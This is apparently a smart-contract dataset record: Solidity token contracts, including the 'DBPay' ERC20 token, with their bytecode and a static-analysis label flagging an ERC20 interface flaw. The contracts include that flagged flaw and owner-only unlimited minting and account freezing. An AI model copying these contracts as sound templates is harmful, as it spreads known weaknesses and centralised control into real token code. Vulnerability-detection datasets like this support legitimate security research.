buyPriceInCent; } } function setUseService(bool status) external onlyOwner{ useFiatService = status; } function setEtherCentPrice(uint256 _newValue) external onlyOwner { etherPerCent = (10 ** uint256(decimals))/(_newValue); } function setStore(address _newValue) external onlyOwner { store = _newValue; } function toggleSale(bool _value) external onlyOwner { onSale = _value; } function withdraw() external onlyOwner { uint balance = address(this).balance; if(balance > 0){ store.transfer(balance); } } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013d578063087cbd40146101cd578063095ea7b31461021057806318160ddd1461027557806323b872dd146102a0578063313ce567146103255780633ccfd60b1461035657806365a3d8f01461036d57806370a082311461039a5780638620410b146103f1578063898aa23b1461041c5780638b3272dc146104495780638da5cb5b1461047857806391b7f5ed146104cf57806395d89b41146104fc578063a6f2ae3a1461058c578063a9059cbb14610596578063aab402e5146105e3578063b414d4b614610612578063cae9ca511461066d578063dd62ed3e14610718578063e724529c1461078f578063f2fde38b146107de575b61013b610821565b005b34801561014957600080fd5b5061015261097f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610192578082015181840152602081019050610177565b50505050905090810190601f1680156101bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d957600080fd5b5061020e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b005b34801561021c57600080fd5b5061025b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abc565b604051808215151515815260200191505060405180910390f35b34801561028157600080fd5b5061028a610b49565b6040518082815260200191505060405180910390f35b3480156102ac57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4f565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b5061033a610c7c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036257600080fd5b5061036b610c8f565b005b34801561037957600080fd5b5061039860048036038101908080359060200190929190505050610d7c565b005b3480156103a657600080fd5b506103db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e01565b6040518082815260200191505060405180910390f35b3480156103fd57600080fd5b50610406610e19565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b5061044760048036038101908080359060200190929190505050610e1f565b005b34801561045557600080fd5b50610476600480360381019080803515159060200190929190505050610e84565b005b34801561048457600080fd5b5061048d610efc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104db57600080fd5b506104fa60048036038101908080359060200190929190505050610f21565b005b34801561050857600080fd5b50610511610f86565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610551578082015181840152602081019050610536565b50505050905090810190601f16801561057e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610594610821565b005b3480156105a257600080fd5b506105e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611024565b005b3480156105ef57600080fd5b50610610600480360381019080803515159060200190929190505050611033565b005b34801561061e57600080fd5b50610653600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ab565b604051808215151515815260200191505060405180910390f35b34801561067957600080fd5b506106fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110cb565b604051808215151515815260200191505060405180910390f35b34801561072457600080fd5b50610779600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124e565b6040518082815260200191505060405180910390f35b34801561079b57600080fd5b506107dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611273565b005b3480156107ea57600080fd5b5061081f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611398565b005b600080600960019054906101000a900460ff16151561083f57600080fd5b610847611436565b915081600360009054906101000a900460ff1660ff16600a0a620186a034020281151561087057fe5b049050600c5481600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156108e657600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561094e573d6000803e3d6000fd5b5061097b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611532565b5050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a155780601f106109ea57610100808354040283529160200191610a15565b820191906000526020600020905b8154815290600101906020018083116109f857829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7857600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bdc57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610c71848484611532565b600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cec57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190506000811115610d7957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d77573d6000803e3d6000fd5b505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd757600080fd5b80600360009054906101000a900460ff1660ff16600a0a811515610df757fe5b04600b8190555050565b60056020528060005260406000206000915090505481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7a57600080fd5b80600a8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610edf57600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7c57600080fd5b8060088190555050565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101c5780601f10610ff15761010080835404028352916020019161101c565b820191906000526020600020905b815481529060010190602001808311610fff57829003601f168201915b505050505081565b61102f338383611532565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108e57600080fd5b80600960016101000a81548160ff02191690831515021790555050565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000808490506110db8585610abc565b15611245578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111d55780820151818401526020810190506111ba565b50505050905090810190601f1680156112025780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561122457600080fd5b505af1158015611238573d6000803e3d6000fd5b5050505060019150611246565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ce57600080fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960009054906101000a900460ff161561152557600a54600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c560c6460006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b505050506040513d602081101561150c57600080fd5b810190808051906020019092919050505002905061152f565b600a54600b540290505b90565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561155857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156115a657600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561163557600080fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561168e57600080fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156116e757600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820d289b9693d83a70d125b36b3f139618d3eb4aa13f66afef30f5d03cd589cf8560029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,192
0x6255ffdeb4ecf9e1edde3a1cf836a61e928eaafc
/** *Submitted for verification at Etherscan.io on 2021-04-24 */ /** *Submitted for verification at Etherscan.io on 2021-04-24 * Ely Net and Tor Korea */ pragma solidity ^0.5.17; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract DBPay is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 constant public decimals =18; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo[]) internal lockupInfo; event Lock(address indexed holder, uint256 value); event Unlock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "DBPay"; symbol = "DBP"; initialSupply = 77000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } // function () external payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; if(locks[_holder]) { for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++ ) { lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance); } } return balances[_holder] + lockedBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(balances[_holder] >= _amount); if(_termOfRound==0 ) { _termOfRound = 1; } balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder].push( LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount) ); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); LockupInfo storage lockupinfo = lockupInfo[_holder][_idx]; uint256 releaseAmount = lockupinfo.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) { if(locks[_holder]) { return ( locks[_holder], lockupInfo[_holder].length, lockupInfo[_holder][_idx].lockupBalance, lockupInfo[_holder][_idx].releaseTime, lockupInfo[_holder][_idx].termOfRound, lockupInfo[_holder][_idx].unlockAmountPerRound ); } else { return ( locks[_holder], lockupInfo[_holder].length, 0,0,0,0 ); } } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++ ) { if(locks[_holder]==false) { return true; } if (lockupInfo[_holder][idx].releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( releaseTimeLock(_holder, idx) ) { idx -=1; } } } return true; } function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); // If lock status of holder is finished, delete lockup info. LockupInfo storage info = lockupInfo[_holder][_idx]; uint256 releaseAmount = info.unlockAmountPerRound; uint256 sinceFrom = now.sub(info.releaseTime); uint256 sinceRound = sinceFrom.div(info.termOfRound); releaseAmount = releaseAmount.add( sinceRound.mul(info.unlockAmountPerRound) ); if(releaseAmount >= info.lockupBalance) { releaseAmount = info.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } else { lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add( sinceRound.add(1).mul(info.termOfRound) ); lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount); emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return false; } } }
0x6080604052600436106101d85760003560e01c80637eee288d11610102578063c9e075c611610095578063dd62ed3e11610064578063dd62ed3e14610ce2578063f26c159f14610d67578063f2fde38b14610dd0578063fb93210814610e21576101d8565b8063c9e075c614610a82578063cae9ca5114610b18578063d051665014610c22578063d4ee1d9014610c8b576101d8565b80639b819d38116100d15780639b819d38146108e0578063a457c2d71461090b578063a9059cbb1461097e578063c572652b146109f1576101d8565b80637eee288d1461076f5780638456cb59146107e25780638da5cb5b146107f957806395d89b4114610850576101d8565b80633f4ba83a1161017a57806370a082311161014957806370a08231146105e1578063788649ea1461064657806379ba5097146106af5780637c759d0d146106de576101d8565b80633f4ba83a146104d557806340c10f19146104ec57806342966c681461055f5780635c975abb146105b2576101d8565b806318160ddd116101b657806318160ddd1461037357806323b872dd1461039e578063313ce567146104315780633950935114610462576101d8565b806306fdde03146101dd578063095ea7b31461026d578063125bfb66146102e0575b600080fd5b3480156101e957600080fd5b506101f2610e94565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610232578082015181840152602081019050610217565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027957600080fd5b506102c66004803603604081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f32565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506103596004803603606081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103e565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b50610388611167565b6040518082815260200191505060405180910390f35b3480156103aa57600080fd5b50610417600480360360608110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611171565b604051808215151515815260200191505060405180910390f35b34801561043d57600080fd5b506104466115fb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561046e57600080fd5b506104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611600565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea611835565b005b3480156104f857600080fd5b506105456004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118f0565b604051808215151515815260200191505060405180910390f35b34801561056b57600080fd5b506105986004803603602081101561058257600080fd5b8101908080359060200190929190505050611a6b565b604051808215151515815260200191505060405180910390f35b3480156105be57600080fd5b506105c7611c1f565b604051808215151515815260200191505060405180910390f35b3480156105ed57600080fd5b506106306004803603602081101561060457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c32565b6040518082815260200191505060405180910390f35b34801561065257600080fd5b506106956004803603602081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da4565b604051808215151515815260200191505060405180910390f35b3480156106bb57600080fd5b506106c4611ef9565b604051808215151515815260200191505060405180910390f35b3480156106ea57600080fd5b50610755600480360360a081101561070157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506120d2565b604051808215151515815260200191505060405180910390f35b34801561077b57600080fd5b506107c86004803603604081101561079257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123aa565b604051808215151515815260200191505060405180910390f35b3480156107ee57600080fd5b506107f76128a2565b005b34801561080557600080fd5b5061080e61295d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085c57600080fd5b50610865612982565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a557808201518184015260208101905061088a565b50505050905090810190601f1680156108d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ec57600080fd5b506108f5612a20565b6040518082815260200191505060405180910390f35b34801561091757600080fd5b506109646004803603604081101561092e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a28565b604051808215151515815260200191505060405180910390f35b34801561098a57600080fd5b506109d7600480360360408110156109a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c5d565b604051808215151515815260200191505060405180910390f35b3480156109fd57600080fd5b50610a68600480360360a0811015610a1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612f4e565b604051808215151515815260200191505060405180910390f35b348015610a8e57600080fd5b50610adb60048036036040811015610aa557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fcf565b6040518087151515158152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b348015610b2457600080fd5b50610c0860048036036060811015610b3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b8257600080fd5b820183602082011115610b9457600080fd5b80359060200191846001830284011164010000000083111715610bb657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506132f4565b604051808215151515815260200191505060405180910390f35b348015610c2e57600080fd5b50610c7160048036036020811015610c4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061346f565b604051808215151515815260200191505060405180910390f35b348015610c9757600080fd5b50610ca061348f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cee57600080fd5b50610d5160048036036040811015610d0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134b5565b6040518082815260200191505060405180910390f35b348015610d7357600080fd5b50610db660048036036020811015610d8a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061353c565b604051808215151515815260200191505060405180910390f35b348015610ddc57600080fd5b50610e1f60048036036020811015610df357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613692565b005b348015610e2d57600080fd5b50610e7a60048036036040811015610e4457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613769565b604051808215151515815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2a5780601f10610eff57610100808354040283529160200191610f2a565b820191906000526020600020905b815481529060010190602001808311610f0d57829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615610f4e57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109957600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112057600080fd5b505af1158015611134573d6000803e3d6000fd5b505050506040513d602081101561114a57600080fd5b810190808051906020019092919050505050600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161561118d57600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111e557600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112425761124085613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561127c57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156112c857600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561135157600080fd5b6113a383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143883600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150a83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020